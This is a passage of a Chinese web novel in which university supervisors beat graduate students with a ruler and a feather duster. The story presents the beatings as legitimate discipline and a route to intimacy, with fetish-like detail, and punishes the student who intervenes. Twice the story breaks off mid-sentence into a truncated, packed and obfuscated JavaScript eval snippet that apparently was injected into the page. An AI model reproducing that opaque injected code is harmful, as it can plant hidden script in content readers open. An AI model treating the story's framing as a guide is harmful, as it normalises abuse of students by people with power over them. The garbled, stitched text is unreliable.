柏阅冬两道眉毛竖起:“您这是师父啊还是工头啊?” “师父我这不都是为了你好么?”秦昭阳心情舒畅,拿起外套就要走,“走的时候记得帮师父关好门,虽然师父我家徒四壁,但也实在不想连墙壁都被偷了去,懂吗?” 柏阅冬翻了个白眼,“哼”了一声。于是秦昭阳朗笑着走了。 一入秋,时间就过得飞快,温度一天天降下去,叶子一片片飘落,人也一点点懒起来。第二次读书汇报来临时,柏阅冬还没有写完那篇文章。 有了上次被纪老师怒骂的心理阴影,又去别的专业多方打听,柏阅冬怂恿刘庄二人另请严先生出席他们的读书汇报,不要再让纪老师来参加了。 刘庄二人欣然同意,严先生则有求必应地去了。 严先生一来,整个学院都温暖了起来。 学生们心理负担降到了最低,就连平日最没有自信的庄遂平也大大方方地讲完了自己的汇报文章。严先生听完三人的汇报,逐一点评:“看得出来,大家还是比较认真地对待每个月一次的读书汇报,这是一个学习和交流的过程,大家不用有太大压力,发现问题就去解决问题,完善研究,做研究,都是这样的。小庄这个有初步的框架了,但是你的语言还是散文式的语言,不是规范的学术表达,这个要注意。巍思这篇呢,之前也没有给我看过,曹丕和陶渊明之间的关系,以前是没有人研究过的,巍思找到了一个很新的点,不过是不是可以再考虑考虑,你说的这些影响,是曹丕个人的还是整个时代的呢?阅冬这篇,是没写完的吧?” 果然是大佬,柏阅冬无处遁形,只得点了点头。 严先生没打算批评他,微笑道:“阅冬很聪明,也很巧,这篇应该是要写冯晏欧三人词作归属不清的原因,但是他没有写完,所以就把写好的这部分拿出来,加了副标题,从知人论世谈起,是真的很聪明。” 柏阅冬知道这是小聪明,也不敢真得意,道:“其实后面还会涉及词史的发展和文献的传播这两个原因,词史的发展已经在写了,但是文献有点难。” 严先生点点头:“做文献是比较难的,基础要扎实,还要细心耐心,你这么小就愿意挑战,勇气可嘉。这方面你可以多去请教纪老师,纪老师比较擅长文献。” 又是纪老师,柏阅冬僵硬地笑了笑:“谢谢严老师。” “大家的水平,说实话不相上下,我觉得大家都写得不错,但我们还是要评一个优秀,那就……”严先生再次翻了翻这几篇文章,最后道,“阅冬吧。” “谢谢老师。” 很平和的场面,没有剑拔弩张,没有汗流浃背,结束了大家还在聊天。 “阅冬,你这个文章写出来,是不是又要发了?” “你等我写出来再说吧,我感觉下半学期我都得搭在这篇文章上,希望我老师别再找我给他改作业了!” “你看,我上有师兄师姐,就没有这个烦恼。” “你没有这个烦恼,是因为严先生不用上本科生的课了吧?!” “也对……” 几人前后离开会议室,严先生走在最前面,想想还是回头唤了一声:“小庄?” 庄遂平连忙上前两步:“严老师。” “小庄,你是不是还没有找到研究的方向?”不是自己的学生,严先生也只能稍作提点,“你上次写的是公安派,这次又写到袁枚了,当然,这二者有相似之处,都讲究性灵,但是,我看你的行文,似乎还很茫然。” 庄遂平感到一块大石头堵住了胸口,呼吸不顺畅,哪哪都不自在。自从上次他撞破纪老师打刘巍思,除了上课以外,他就再没找过纪老师了,纪老师也没找他,他一个人,盲人摸象。 他其实没有奢望能像刘巍思一样和老师住在一起,但至少能偶尔见一面,交流交流。每次周六早上,柏阅冬都会早起,抱怨他要去帮老师改本科生的作业,那时候他躺在床上,心里都是羡慕:纪老师也要上本科生的课,怎么不让他去帮忙改作业呢? 可是转念一想,也就明白了,他一个没有读过本科的人,怎么配改本科生的作业? “严老师,我觉得,来读硕士,和我想象的不太一样。” 严先生笑了笑,道:“你想象中是什么样子呢?” “我想着,可以随便读书,喜欢什么就读什么,也不会有太大压力……” “随便读书,想读什么就读什么,确实是这样的。”严先生道,“你们才刚开始,就要多读,读得越多越知道自己对什么感兴趣。但是泛读的同时也要精读,要有问题意识,学术眼光,其实这是阅冬的长处,你要多跟他学。” “严老师,其实还是我跟纪老师之间……” “每个老师有每个老师的风格,纪老师还有个研二的学生,你师兄,他们也不是经常见面的,只是有问题了才交流。你初来乍到,还没有习惯,以后习惯了就好了。” 原来他还有一个师兄吗?可是纪老师什么都没说过啊!虽然是被严先生开导了,可庄遂平却觉得更郁闷了。 而此时郁闷的庄遂平还不知道,他的文章即将被送到纪老师的案头接受审视,直到他在下一次纪老师的课后如愿以偿地听到了那声冷漠的“庄遂平,跟我来”。 庄遂平一惊,差点把自己的书摔在地上,也来不及跟其他同学说再见,慌里慌张地就跟了出去。 庄遂平的心“扑通扑通”地跳,这还是第一次纪老师叫他到办公室来。他故作镇定,走进办公室,把门关上,站得端端正正的:“老师。” 纪老师看他跟木头似的就气,拍了拍桌子上放着的文章:“你过来,自己看看这是什么?” 庄遂平记得,刘巍思就是在那个位置挨的打,他呢?现在走过去是不是也要挨打?还是说,纪老师都不屑于打他? “过来啊!” 庄遂平骇了一跳,不敢再拖延,快步走了过去,低头一瞧,这不是他最近的读书汇报吗?怎么在老师这里? “你觉得写得怎么样?” 庄遂平羞愧地低下头,小声道:“写得不好。” 纪老师冷哼一声:“你也知道写得不好?那我要问你哪里写得不好呢?你怎么说?” 自然是哪里都不好,可是庄遂平不用说出口,就知道纪老师不会喜欢这个敷衍的答案,于是他只好沉默。 纪老师作为系主任,又要带研究生又要给本科生上课,还要处理行政工作,一天到晚忙到脚不沾地,那几天刚头昏眼花地训完那一群不好好背书的本科生,一回来严先生就把这篇狗屎一样的文章拿给他了,他这才知道,研一的学生已经进行第二次读书汇报了。 于是他从那天一直气到现在。 一群人开了读书汇报,没有一个人知会他;庄遂平写了文章,还没拿来给他过目就直接拿去汇报;最严重的问题是,这写的都是什么啊?! 这会更是一问三不知,那还读什么研究生?! 纪老师一肚子火,根本压不下去,硬邦邦问:“我问你,谁教你搭的这乱七八糟的框架?!” 庄遂平两腿抻得直直的,像有人在后面扳着他一样:“我、我跟着刘巍思……” “那你看人家写的什么文章了吗?还是就看了个框架,把小标题拿来套一套?你的文章跟人家的文章一样吗?跟着刘巍思跟着刘巍思,你怎么不跟着人家一样优秀?!” 庄遂平眼眶中顿时溢满泪水,随时都会掉下来,多跟刘巍思学习,不是您说的吗?为什么现在又不是了?我到底要怎么做才是对的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庄遂平有些不敢相信,这是要打他了吗?像教训刘巍思那样教训他,老师是愿意承认他、接受他了吗?在这样的责打之后,是不是也会有像对刘巍思那样的重视和赞赏? 一潭死水的心情忽然有了些波澜,庄遂平几乎要为他的屁股即将遭受一顿戒尺而感到高兴。 “要脱裤子吗?” 纪老师眼里闪过一丝烦躁:“不用,撑好。” 庄遂平小时候挨过父母打,每当他闯祸了,父亲或母亲就会拿起角落里的扫把棍或鸡毛掸子,不拘什么地方,“噼里啪啦”地就抽下来,把他打得身上到处都是伤。但是他知道,纪老师的戒尺不是那样的。他记得刘巍思挨打的模样,撑在桌边,动也不能动,戒尺只落在他的屁股上,带着些难言的庄重和神圣感。 直到双手撑在桌边,双腿往后一步,学着刘巍思的样子撑好,庄遂平才明白过来,他向往的并不是挨打,而是一种纯粹的师生关系。在那样的师生关系里,有责骂,有训诫,有疼痛,但也会有关怀和温情。 他愿意通过训诫和疼痛抵达这段关系的终点——充满温暖和爱意的亲密。 只是纪老师并不知道学生在想什么,也并不感兴趣,他唯一的任务,就是用戒尺告诉庄遂平,什么该做,什么不该做。 纪老师将戒尺搭在隔着裤子的臀部上,道:“记住我说的每一句话,如果有不理解的就问,今天过后,我不会再重复这些事情。” 裤子下的两团肉满带着恐惧颤抖了一下:“是,老师。” “啪!”戒尺离开臀部又兜风抽下,抽在颇有厚度的裤子上,是闷闷的声响,但是着肉的疼痛并没有少太多,庄遂平猛地一吸气,脖子上的青筋和锁骨都瞬间凸起,过了会才慢慢平复下去。 “你写的所有文章,无论是读书汇报、课程论文还是以后的投稿论文、毕业论文,初稿必须给我看过,我同意了你才能拿出去见人,明白?” “我明白了,老师。” “啪!”第二下如法炮制,抽在臀尖处,庄遂平还是想忍下来,却没能控制住,“嘶”了一声。 “你是我的学生,我是你的导师,除了上课以外,我们至少两周见一次面,讨论你的学习进度,但是我很忙,你要主动来找我,但是我希望你来找我的时候,不是浪费我的时间,能理解我的意思吗?” “我知道,我会好好学的。” “啪!” “呃……”庄遂平右腿一打弯,差点变了姿势,幸而双手撑得稳。他没想到,这看起来毫无威慑力的戒尺也能这么厉害,才三戒尺,他的屁股就火辣辣地烧起来,这还是隔着裤子呢,那天刘巍思被脱了裤子打成那样,肯定疼死了。 “如你所见,我要求很高,所以被批评是正常的,如果我觉得有必要,也会动手,你可以不接受,但不会改变我对你不满意的事实。” 果然是不满意的,虽然早早就知道了,但是听老师亲口说出来,还是,格外让人失落。 “我愿意接受老师的一切方式,但是,”庄遂平咬咬嘴里的**,鼓起勇气问,“怎么做,才会让老师满意?” “啪!” “你不用迎合我,好好读书,好好写文章,完成学业就可以,你来读研究生不是为了让我满意,知道吗?” 眼眶禁不住湿了,所以其实是永远不可能让老师满意的吗? “知道了。” “啪!” 戒尺一下下责落,纪老师的话语也一句句道出,庄遂平忍着疼痛,不断应着些“知道”“明白”“是”,到最后也不知道到底打了多少下,只觉得整个屁股都跟放在火上炙烤一样,连碰也不敢碰了。 纪老师大约也是累了,放下戒尺时甚至揉了揉右边手臂,却没有看挨打的学生一眼:“回去吧,文章我会写好修改意见给你。” 庄遂平站起身,虚虚地捂住屁股,低声道:“老师再见。” 可是老师只是垂头看他那篇文章,并没有看他。庄遂平觉得有些难堪,不再说话,默默地退出了办公室。 穿着裤子,不知道伤成什么样了,回宿舍的路上,庄遂平只能强忍着,假装正常走路。可是每走一步,粗糙的布料都不免摩擦到红肿的皮肤,让他倍加煎熬。好不容易回了宿舍,庄遂平再也支撑不住,整个往床上趴去。 盘腿坐在床上看书的柏阅冬被他吓了一跳,问:“你怎么了?” 庄遂平疼得厉害,几乎没力气说话了,虚弱道:“没事。” 这可不是没事的样子,柏阅冬放下书,趿了拖鞋走到对面来,不知死活地往他屁股上抽了一巴掌:“到底怎么了?” 没曾想就是这巴掌让庄遂平猛地仰起脑袋,头上青筋暴起,痛苦到了极点。 柏阅冬顿时色变,再不敢碰他:“你到底怎么了呀?你不是跟纪老师去了吗?怎么回来就这样?他骂你了?” 庄遂平大口呼吸着,好不容易平复下来,缓缓摇头。 柏阅冬忽然想起什么,看看庄遂平屁股的位置,试探性问:“他打你了,是不是?” 挨打的时候,庄遂平没觉得有什么的,甚至觉得这是一个开始,有了这个开始,他和老师就会有发展,有更多温馨和亲密的可能。可是被柏阅冬这样一问,那些感觉全都消失了,只剩下了屈辱。 他一个二十多岁的大男生,被老师用戒尺打了屁股。 柏阅冬没有等到他的回答,却已经明白了,义正词严道:“遂平,他没有权力这样做,他不能打学生,我要去告诉……告诉童院长。” 可是话一出口,柏阅冬又感到一阵荒谬。学校的老师们,年纪大一些的,是在那个旧社会中长大的,挨戒尺挨板子都是常事,年轻一些的则恨不能把老先生们捧得高高的,所有的规矩,简直是信条一样不能更改的存在。就像秦昭阳告诉他的,很多老师都打过刘巍思,这样的事情,只要学生不反抗,就会一直延续下去。 所以,他去告诉童院长其实没有什么用,说不定童院长打自己的学生比这还狠。 但是,他也不能看着庄遂平这样挨打呀! “遂平,纪老师是不是每次都打你?” 庄遂平摇了摇头:“这是第一次。” “你放心,以后他再打你,我就想办法去救你。”柏阅冬信誓旦旦道。 庄遂平一整天了,到这会才笑出来——老师们都喜欢阅冬是有道理的,他真的很可爱。 “要不要我帮你看看伤?” “不、不用了,”庄遂平太不能接受柏阅冬来看他的伤了,柏阅冬比他小好几岁,跟他的弟弟一样,这也太羞耻了,“等会我自己看,不要紧的。” “那我去校医院给你买个药吧,上点药好得快些。”柏阅冬说罢,也不等庄遂平应答,便三两下换了他的小皮鞋,风风火火地出去了。 庄遂平挨打这件事很快一传十十传百,成了众人茶余饭后的谈资。刘巍思在家也免不了嚼点舌根:“我说纪老师最近怎么不理我了,原来是教训他自己亲学生去了,遂平也是可怜,不过总算救了我。” 严先生一边洗茶杯一边笑道:“有你这么说话的吗?你去看过小庄没有?也不知道伤得重不重,小庄是头回背井离乡地来读书,虽然不是小孩了,但还是要多关心。你纪老师忙得很,也不怎么管学生,你有空就多去看看,安慰安慰他。” “以前我挨纪老师打,没见老师找人安慰安慰我。” “还要怎么安慰你,你挨了纪老师打,一回来就往老师怀里钻,我一边给你揉屁股你一边哭,都给忘了?” “哎呀哎呀,没有的事没有的事。”刘巍思没想到扯出来自己的糗事,连忙否认,赶紧把话题引回到庄遂平身上,“老师您也别操心,我看阅冬把他安慰得很好呢,还说下次遂平被教训的时候就想办法去救他。” 严先生笑出了声:“胡说八道!怎么救?师父教训弟子的事,外人一插手,那还了得?” 刘巍思也没经历过这种事,想不明白怎么就了不得了,便没有再说话。 只是,所有人都没想到,柏阅冬信誓旦旦说下的那句话,竟成了蝴蝶翅膀在大洋彼岸一次无意的扇动,接连引发了后来一连串事件,以至于他们后来再想起,都不得不感叹柏阅冬简直是推动他们专业人际关系变化的重要齿轮。 8. 第 8 章 到了下一周再上纪老师的课,柏阅冬就不住观察纪老师,企图从他今天的语气起伏和看庄遂平的眼神判断出他可怜的舍友会不会再次挨打,可是也不知是纪老师伪装得太好了,还是柏阅冬的观察太拙劣了,他竟没得出任何结论。 下了课,纪老师再次冷淡地下了命令:“庄遂平,跟我来。” 庄遂平心脏“突”地一跳,还坐在椅子上的屁股条件反射似的缩了起来,看看刘巍思,又看看柏阅冬,深呼吸两次,起身跟出去了。 始终牵挂着舍友的柏阅冬自然晓得这是求救信号,至于要怎么救,他也早有了计谋。 庄遂平跟着纪老师来到熟悉的办公室,照旧关上门,走到桌边站好。纪老师不动声色拿出了他的文章,上面写满了红色的修改意见,密密麻麻,仿佛全文都找不到一个值得肯定的句子。 再接着,纪老师就拿过了那柄戒尺。 庄遂平直到现在,才看清楚这戒尺的模样,不过半米长,两指半宽、一指后,通身乌黑,四周打磨得光滑。他必须承认,这是在比扫把棍子和鸡毛掸子都精致太多了,精致得不应该和打屁股这样的事联系在一起。 可是下一秒,纪老师就用这柄精致的刑具点了点桌面:“撑好。” 庄遂平正要动作,却又听纪老师叹了声气:“裤子,脱下来。” 庄遂平的脸瞬间红到脖子根,整个人都被羞耻感淹没,以至于他根本没注意到老师那声叹息里所包含的复杂情感。 他两手搭在裤腰上,缓缓扣住弹性裤头,一左一右往下扯,大约扯到大腿根的位置,纪老师喊了停,他便停手了。但这样的动作,已足以让他羞得抬不起头。 纪老师再次用戒尺点点桌面作为提醒,庄遂平接收到信号一般,机械地撑了过去。 和上次一样的姿势,可因为脱了裤子,庄遂平所有的注意力都集中到了身后那赤裸的两团肉上。他感到那两个肉团起了一层又一层鸡皮疙瘩,也感到肉团内部似乎“突突”地跳,好像里面也有一颗心脏似的,卡在大腿根的裤子奇异地产生了一种紧绷感,仿佛是刻意将受罚的部位托住,好让它更方便地接受责打。 这些联想让庄遂平更觉尴尬,浑身都不自在,总不自觉地绷紧屁股,可过一会又撑不住,只得放松下来,反反复复。 上次隔着裤子的一顿戒尺,虽说疼得厉害,却没有伤太久。庄遂平用了柏阅冬买回来的药膏,隔天就不怎么疼了,三四天过去,红肿就渐渐消退,到现在几乎没有痕迹了。 纪老师只看了一眼,便移开了目光,道:“自己看你的文章,批注,从上到下,一条条给我读。” 鲜艳的红色,显目到令人难堪。庄遂平避无可避,只能硬撑着早已破碎的自尊,从头开始念:“题目,没有研究意义和价值,写了……也是白写。” “啪!”戒尺突然抽上来,庄遂平沉浸在羞耻与沮丧中,竟没觉得有多疼。 “我让你看别人的文章,你得先看人家是怎么选题的,不是什么东西都能凑出一片文章来,明白吗?” 庄遂平眼底含着一层薄泪,也没有心思把老师的话听进脑子里去,只是嘴上还应着是。 “继续。” “引言,千篇一律,生搬硬套……” “啪!” 庄遂平不由自主缩了下屁股,被抽打的热度渐渐扩散开来,终于让他产生了痛觉。 “你不要看别人引言介绍诗人你就跟着介绍诗人。都是介绍,但是侧重点会有不同,你的引言要顺利接入你要写的内容,知道吗?” 其实老师还是在教他的吧,可是到底是老师教得不够具体还是他太笨,即使听了,到下次也还是不会写。 “知道了。”庄遂平自觉看向下一条批注,“语言口语化、散文化,有歧义……” “啪!”三下戒尺,已经把臀尖到臀腿这一片打出了绯红颜色,足以看出纪老师责罚之重。 “写论文,要有论文的语言,要规范,严谨。想要追求语言之美,当然可以,但是你还不够格。” 太直白了,简直像是羞辱。庄遂平眼眶一酸,几乎要落泪,却仍强忍着应声:“是。” 只有一个字,但是哭腔太明显了,以至于纪老师都愣了一下。 “这么大个人,打两下就哭了?” 庄遂平一惊,更加隐忍起来,文章写得这么差、被打屁股已经很丢人了,要是再让纪老师知道他哭,真的要笑掉大牙。 “没有,我、我要继续了吗?” “继续。” 却说那一头,柏阅冬见庄遂平出去了,就立马收拾东西,准备实施自己的救人大计。原本刘巍思还问他要不要一起去图书馆,柏阅冬匆匆拒绝,背起书包就跑去三楼找秦昭阳了。 “师父,徒儿来给您请安了。” 秦昭阳正翻书找资料呢,闻言皮笑肉不笑:“托孝顺徒儿的福,师父我还能再活两三年。” 不愧是毒舌,损起自己来才是真损。 柏阅冬放下书包,贴到秦昭阳跟前扒拉:“师父,您先看看徒儿我呗,我那文章还差得远呢!” 秦昭阳不耐烦地往书里放了张纸当书签:“差啥?别转别转,转晕我了。” “就是文献啊!之前跟您说过的,怎么又忘了?”柏阅冬急得直跺脚。 “那不是跟你说了吗?找你们纪老师去!” “可是,”柏阅冬一脸为难,“纪老师太凶了嘛,我一个人不敢去。” “哟,你还有怕的人呢?你都打算欺师灭祖了,你怕啥纪老师啊?”秦昭阳没看出他的着急,还在取笑他。 可是柏阅冬却没跟他打嘴炮的心思了,拉着他的手臂:“老师,求您了,您带我去吧。我可是您亲亲学生,开山大弟子啊!您总不希望您以后的学生有一个废物大师兄吧?那您的一世英名不就毁了吗?” 实则秦昭阳还没答应,但人已经莫名其妙在去系主任办公室的路上了:“不是我说,你们刚才不就是纪老师的课吗?现在拉着我去找纪老师,你可真行!” “哎呀,为了我的文章,老师您就去纪老师面前低头哈腰一下,面子算什么?文章才是实实在在的啊!”柏阅冬使出九牛二虎之力,拼死拽着秦昭阳往前走,心中还不住祈祷庄遂平可千万别挨太多,要是纪慎那老家伙打得狠了,他非拼命不可! 秦昭阳一脸生无可恋,这哪里是收了个学生?简直是收了个祖宗!“你的面子是面子,你老师我的面子就不是面子,柏阅冬你要不要听听你说的是不是人话?” “对,不是人话,是神话。”眼看着就要到纪老师办公室门前了,柏阅冬还回头叽叽喳喳,“等徒儿我出息了,桃李满天下的,让每个徒孙都来给您磕一个,喊您师爷,那时候您就知道这是什么话了……” 秦昭阳被他说得迷糊,反应过来时柏阅冬已经抵着那扇门了,便伸手一拦:“先敲……哎呀我去……咋回事?”秦昭阳受力不及,往前一趔趄,眼前已是办公室内的景象,一抬头,妈呀,纪老师正收拾学生呢!当即老脸一红,舌头都不利索了:“那个,纪老师,小、小、小……我们家小孩要问你个问题……” 四个人,四个心眼子,只有秦昭阳真的认为他是陪小孩来问问题的。 没敲门就直接进来是柏阅冬的釜底抽薪之计,虽然很有可能会尴尬,但是他也算准了,要是办公室里没什么,尴尬的就是他这个没礼貌的学生,要是办公室里真有什么,大家就一起尴尬,以后纪老师也不敢再这么肆无忌惮。 结果也不出他所料,纪老师就是在打庄遂平,但稍感意外的是,庄遂平他没穿裤子啊!什么年代什么年纪什么地点,居然脱裤子挨打!要死! 但他只能故作镇静,看看庄遂平,又看看纪老师,道:“我、我想向纪老师请教一下关于文献的问题。” 庄遂平挨了十几下戒尺,臀上火辣辣一片,可是秦老师和柏阅冬的推门而入让他顿时忘却了屁股的疼,从脚底到头发丝都被难堪填满了,以至于他没办法思考这是不是柏阅冬说好的来救他,他只恨不得挖个洞钻进去,再也不出来。 小孩子的把戏,都是纪老师当年玩剩下的。纪老师放下戒尺,靠在椅背上轻笑出声:“柏阅冬,你和庄遂平感情挺好啊,还把你老师牵扯进来,连我都要夸你一句有本事。” 秦昭阳只是没反应过来,不是真笨,到了这会不可能不知道发生了什么,脸色一变再变,最后铁青得难看,拉着柏阅冬的手,道:“纪老师,抱歉,是我们唐突了,小孩子不懂事,我会教训的。柏阅冬,跟纪老师道歉。” 柏阅冬固执地甩开老师的手:“我不道歉,我就是来找遂平的,我说了要来救他,纪老师,您不能打人,打人是不对的,您上次都打伤他了!” 纪老师再次笑出了声,但却让在场的人都毛骨悚然:“庄遂平,柏阅冬说来救你,说我不能打人,是这样吗?” 柏阅冬握紧拳头,想,遂平一定要奋起反抗,只要他不答应,纪老师也不能太过分,难不成还能把人绑起来打吗? 可是,庄遂平哪有他那样的胆量和勇气?面对着一对无关师生的审视和老师的质问,他只能选择屈服。 喉咙像被堵住了一样,几乎发不出声,庄遂平咽下好几次唾沫,才嗫嚅出声:“不、不是……” “柏阅冬,你听到了?” “不是的!”柏阅冬想,他是迫于你的**,这根本不是真心话! 但纪老师也不想与柏阅冬一个小孩子纠缠,只对秦昭阳道:“秦老师,如果不是真的有事相商,以后就不要随便过来了,进来之前记得先敲门。” 同为老师,秦昭阳只比纪老师小三四岁,却被教“进来之前先敲门”这样的事,一时之间既羞又愧,不由得站直身体,再躬身道歉:“纪老师,今天的事,是我教导不利,我会回去好好教育柏阅冬的,晚些再带他来给您道歉。纪老师,我们先走了。” 柏阅冬自是千般不肯,但敌不过发怒的老师,不过片刻,两手就被扭在身后押走了。秦昭阳离开的时候,还不忘贴心地帮纪老师关上门。 重新封闭下来的空间,却再也不适合继续训诫了。纪老师没打算再拿起戒尺,只是两手交叉放在身前,甚至放松地翘起了二郎腿:“庄遂平,其实你心里,不愿意受我的罚,是不是?” 庄遂平心中涌起一阵惊慌,立马回头道:“不是的,老师,我没有……” “狡辩是没有意义的,听其言,不如观其行。哪怕你再说你愿意受罚,也改变不了你和柏阅冬串通一气企图逃罚的事实。” 庄遂平几乎要哭了:“老师我没有……我不知道他会来,我真的,我真的不知道……老师您相信我……” “庄遂平,我记得你和柏阅冬是舍友,你上次挨打他也知道,看上去你们感情很好,他甚至为了你来闯我的办公室,这种行为,落在哪个老师手上,都不会好过。”纪老师意有所指,说到最后,冷冷地瞥了他一眼。 庄遂平双膝一软,再维持不住受罚的姿势,心中悲怆不已,失力地缓缓滑落,直至跪在地上:“老师,不是这样的,我……我没有……” “不愿意受罚可以直说,我不会勉强你,没有必要前脚说愿意接受这种方式后脚就找人来闹,大家都不好看。” 庄遂平百口莫辩,柏阅冬已经走了,他连个对质的人都没有,只能一遍遍重复我没有我不知道,尽管他明白老师不会听他的话,但是他实在没有任何办法了。 纪老师无动于衷,淡定起身,道:“文章自己拿回去改吧,我还要去开会。”说罢,拿起搭在椅背上的黑色外套,绕过跪在地上的庄遂平,头也不回地走了。 庄遂平瘫坐在地,两行眼泪直直淌下。 早几分钟离开的秦昭阳脑子都要气炸了,只恨不得立刻把柏阅冬拖回办公室一顿揍,可又觉得学院人来人往的不好看,故而一路把他拽回了家里。 柏阅冬还不知道自己要面对什么,以为只是被骂一顿,一路上都还在挣扎:“老师!老师!您别扯我呀!老师,我们去哪里?慢点!老师,我手疼,您放开我,我自己会走!老师,我、我喘不过气了!” “闭嘴!”秦昭阳回头喝了一声,把人往门前一甩,气冲冲地掏出钥匙开门。 柏阅冬之前没有来过,但是看这情形,想也知道是秦昭阳家,但这就更迷惑了:来他家干啥呀? “进去!”秦昭阳开了门,喝道。 柏阅冬揉着被老师抓了一路的小臂,又是不满又是疑惑,抬脚迈了进去。 “砰”一声巨响,秦昭阳简直是砸上了门,柏阅冬吓得一哆嗦,还来不及控诉他,就听到他道:“裤子给我脱了,趴沙发上。” 柏阅冬大脑“唰”一下白了:啥玩意儿?他听到了什么? “听不懂?” “我听懂了,但是我不理解!”柏阅冬从小就是家里的掌上明珠,一口吃的都没被短过,更不要说挨打,这种教育方式在他看来简直匪夷所思,“为什么大家都只会打学生?除了打人,就没有别的方式了吗?” “别的方式?你告诉我,你今天干的这破事,别的方式怎么教育你?”秦昭阳一屁股坐下来,“是我在这里苦口婆心地告诉你这不对,然后被你回嘴回得说不出话来?还是罚你写检讨,最后看着你敷衍了事的检讨书不了了之?柏阅冬,你主意够正了,连你老师我也一并算计进去,拉着我一起去丢人,有你这么当学生的吗?” “难道我去救庄遂平是错的吗?我应该让他每次都被打得走不了路,回宿舍只能趴着睡吗?纪老师打人不对在先,我这是制止他的错误行为!” “你还挺正义是吧?他不对,他打你了吗?人家师生的事,用得着你插手?人家庄遂平求着你去救他了?你没听他说什么?” “那是他被迫的,他还光着个屁股在那里,纪老师是他的导师,他当然不敢说!但是我不相信他心里是愿意挨打的!这个世界上,根本不会有一个正常人愿意脱了裤子被老师打屁股!” 秦昭阳被他的自以为是气笑了:“柏阅冬,你才多大?才见过多少人?你就在这里大言不惭这个世界上,我都不说远的,你的同学刘巍思就愿意脱了裤子被他老师打屁股!他不仅愿意让严老师打,但凡他做错事了,别的老师要教训他,他就没有不愿意的,怎么?他不是正常人是吧?” 柏阅冬一时怔住了,刘巍思在别的事情上很正常,但在挨打这件事上,确实很难让他理解。“那是他的问题,他被这种思想禁锢了,他变成了和你们一样的人,但是我不是!我不接受!” “今天由不得你不接受,你自己不脱,我就帮你脱,总之这顿打你挨定了!” 柏阅冬抬脚就往门口跑,却被秦昭阳抓着手臂用力甩到了沙发上。沙发是木质的,硬得不得了,柏阅冬被这么一甩,像被砸过来一样,皮肉生疼。但他仍然不相信自己会挨打,从沙发上爬起来,仰着头道:“我说过,不管你用什么东西打我,我都一定把它折断,丢掉!” “好,等你有第三只手能折再说。” 柏阅冬顿时一愣,竟看见秦昭阳从玄关鞋柜里找出了几根长布条,结合他即将挨打的命运,他马上知道了布条的用处,拖着发软的双腿往沙发后退了去:“你不能这样打我,我会告诉我爸妈,他们会闹到学校的。” 秦昭阳拿着细长的布条走来:“好,我倒要看看,你父母讲不讲理。当师父的,有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“现在才知道错,太晚了!”秦昭阳虽然气,可到底不是一个经常打人的老师。他从前没收过学生,没人可打,家里只有一个独女,舍不得打,至于那些本科生,大多骂一骂就过了,以至于现在真要动手了,却发现他没有教训人的东西。 秦昭阳环视一圈,最终选择了墙上挂着的鸡毛掸子。掸子细长,用竹藤制成,自古以来便是打人的好东西。秦昭阳握着有毛的一端,试着用力挥了几次,虎虎生风。 柏阅冬扭头看见秦昭阳手里的东西,吓得腿都软了,再蹬不动了:“老师,不要,我真的知道错了,我以后听话,老师饶了我!” 鸡毛掸子一步步近了,直到端头在他右边臀尖上点了点:“等你真的挨打了,你就知道什么叫做错了。”说罢,也不作提醒,只高高扬起掸子,“咻啪”一声,重重抽在肉团的最高处。 “啊!!”柏阅冬一嗓子嚎了出来,只觉得两片屁股被一股钝重的疼痛所侵袭,从表皮一路下渗到肉里。他发誓,他这一辈子都没这么疼过! 可是秦昭阳才不管他疼不疼,眼看着臀尖上显出一道横亘两团肉的红痕,十分满意,再次挥起掸子抽了下去。 “啪!” “啊!!” “啪!” “呜……”不过三下,柏阅冬就流出了生理性的泪水,实在是太疼了,每一掸子抽下来的疼积压在一起,仿佛在屁股底下点着了一团火,从内而外地烤着他那两团肉。怪不得,怪不得他们都喜欢打学生屁股,真的太疼了! 三道红痕并排在柏阅冬白皙的屁股上,跟周围的肤色形成了鲜明对比。秦昭阳是第一次正儿八经打学生,对责罚数目和下手轻重都没有概念,只觉得几道伤不算什么,几乎想也不想就继续扬起掸子施罚。 “啪!啪!啪!”屋子里回响着掸子重重抽落在肉团上的声响,混合着柏阅冬的哭喊和求饶:“老师!我知道错了!老师饶了我,我再也不敢了!啊!!好疼!” 在疼痛的追击下,柏阅冬早忘记了羞耻,拼命扭动着屁股,妄图逃过鸡毛掸子的蹂躏,但他不知道,他那两团肉在秦昭阳手底下早已是献祭的姿态,哪怕左右挪动,也根本逃不了,细细的竹棍像是长了眼睛似的,不断抽上他的臀。 接连不断的,秦昭阳已抽了三四十下,柏阅冬整个屁股红肿成一片,再也分不出哪道红痕哪条棱子,只能看出这是一个饱受欺凌的屁股。 柏阅冬哭得一把鼻涕一把泪,嚎得嗓子都哑了,还是不断求饶:“老师,好疼,不要打了……” 秦昭阳用鸡毛掸子一端戳着他一侧屁股,道:“柏阅冬,你不是真的知道错了,你只是不想挨打,我知道你很聪明,但是你的聪明,怎么就不能用对地方呢?” 这话说得,恨铁不成钢。平心而论,秦昭阳是很喜欢柏阅冬的,有天赋,肯用功,还自觉,天生的做学术的料子,可是怎么在别的事情上他就想不明白呢? 终于听到老师说话,柏阅冬急忙抓住机会认错:“老师,我真的知道错了,我以后再也不会这样了,我尊重纪老师的方式,我也不去管庄遂平挨不挨打了,老师您就饶我一回!” 屁股全都打红了,秦昭阳也不忍心,而且柏阅冬年纪小,万一打出个好歹来,他还负责不起,便不打算再怎么打了,只将鸡毛掸子搭在他肿起的两团肉上,严厉道:“晚上领你去纪老师家里,好好给纪老师认个错,求纪老师原谅你,听到没有?” 还要去纪老师那里,柏阅冬当然满心不悦,但人为刀俎我为鱼肉,实在不得不低头:“我知道了,我会跟纪老师道歉的。” “啪!” 